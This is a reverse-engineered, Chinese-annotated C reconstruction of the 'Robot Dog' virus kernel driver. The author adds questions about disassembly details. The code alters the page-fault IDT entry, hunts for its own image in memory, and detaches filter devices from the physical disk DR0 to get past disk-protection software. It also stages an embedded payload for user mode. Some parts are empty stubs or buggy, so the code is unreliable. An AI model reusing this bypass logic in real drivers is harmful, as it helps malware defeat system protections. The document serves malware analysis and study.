“机器狗”病毒驱动部分逆向分析注释（C代码）

#include <ntddk.h> // various NT definitions
 
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
 
#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"
 
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
 
typedef struct _idtr
{
//定义中断描述符表的限制，长度两字节；
short IDTLimit;
//定义中断描述服表的基址，长度四字节；
unsigned int IDTBase;
}IDTR,*PIDTR;
 
typedef struct _idtentry
{
//中断执行代码偏移量的底16位；
unsigned short OffsetLow;
//选择器，也就是寄存器；
unsigned short Selector;
//保留位，始终为零；
unsigned char Reserved;
//IDT中的门的类型：包括中断门，陷阱门和任务门；
unsigned char Type:4;
//段标识位；
unsigned char SegmentFlag:1;
//中断门的权限等级，0表示内核级，3表示用户级；
unsigned char DPL:2;
//呈现标志位；
unsigned char Present:1;
//中断执行代码偏移量的高16位；
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
 
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
 
VOID CheckIdt()//用SIDT指令得到中断向量啊，然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
 
//保存IDT入口的基地址和限制信息的数据结构；
IDTR idtr;//store interrupt descript table register. to idtr
 
//记录IDT数组的指针，通过它可以查找到我们需要Hook中断号对应的中断门；
PIDTENTRY IdtEntry;
 
//汇编指令sidt，获取IDT入口信息；
__asm sidt idtr
 
//赋予IDT基地址值；
IdtEntry = (PIDTENTRY)idtr.IDTBase;
 
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);
 
INT_09_Address_High8 = OldISR_09&0x0FF000000;
 
/*
这两句汇编代码什么意思？eax相减应该总是0，那么 jz不总是跳转返回了？？？
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是？
if (INT_09_Address_High8 == 0)
return;
*/
 
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用；
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);
 
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
 
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli
 
IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断，难道不bosd?
 
//开中断
__asm sti
}
}
 
/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;
 
// loc_40045F:这个取当前地址用C怎么写？
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
 
//pSelfImage如何取？
 
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;
 
if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
 
if (!MmIsAddressValid(pCurAddr))
return NULL;
 
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}
 
(unsigned long)pSelfImage -= 0x400;//-1024K
}
 
return NULL;
}
 
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再补上：）
 
return 0;
}
//
// Device driver routine declarations.
//
 
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
 
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
 
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);
 
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
 
CheckIdt();
 
pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;
 
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}
 
g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令，延时 jmp short $+2
 
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
 
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;
 
// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);
 
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
 
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧？
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object
 
if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}
 
ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );
 
if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;
 
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
 
End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);
 
return STATUS_SUCCESS;
}
 
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
 
if (g_ResData)
{
ExFreePool(g_ResData);
}
 
if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
 
IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);
 
cur_device_object = DriverObject->DeviceObject;
 
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}
 
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
 
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
 
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
 
irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
 
if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
 
switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
 
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
 
//保存DR0上的附加设备，然后断开附加，等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}
 
ObDereferenceObject(DRO_FileObject);
 
RtlFreeUnicodeString(&DRO_DeviceName);
 
break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}
 
break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;
 
// 此处就是提取驱动里的资源解码返回给ap层，很简单，不再反汇编了，此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同？？
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);
 
Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}
 
break;
 
default:
 
//
// The specified I/O control code is unrecognized by this driver.
//
 
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}
 
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
 
Irp->IoStatus.Status = ntStatus;
 
IoCompleteRequest( Irp, IO_NO_INCREMENT );
 
return ntStatus;
}